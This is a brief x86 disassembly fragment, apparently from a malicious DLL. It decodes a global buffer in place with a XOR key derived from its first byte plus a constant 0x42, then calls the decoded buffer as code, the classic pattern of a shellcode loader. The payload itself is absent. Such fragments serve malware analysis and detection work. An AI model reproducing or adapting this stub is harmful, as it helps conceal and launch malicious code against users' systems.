mov edx, dword [0x100070b8]
push edx
call dword [ebp - 0xc]
mov eax, dword [0x100070b4]
mov cl, byte [eax]
mov byte [ebp - 0x25], cl
mov dword [ebp - 4], 0x42
movzx edx, byte [ebp - 0x25]
xor edx, 0x4e
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x2c], 0
jmp 0x10001e80
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [0x100070bc]
jae 0x10001eaa
mov edx, dword [0x100070b4]
add edx, dword [ebp - 0x2c]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x14]
add eax, dword [ebp - 4]
mov ecx, dword [0x100070b4]
add ecx, dword [ebp - 0x2c]
mov byte [ecx], al
jmp 0x10001e77
call dword [0x100070b4]
cmp dword [ebp + 0x14], 0x7ffffff
jne 0x10001ebe
call fcn.10001000
mov esp, ebp
pop ebp
ret 0x10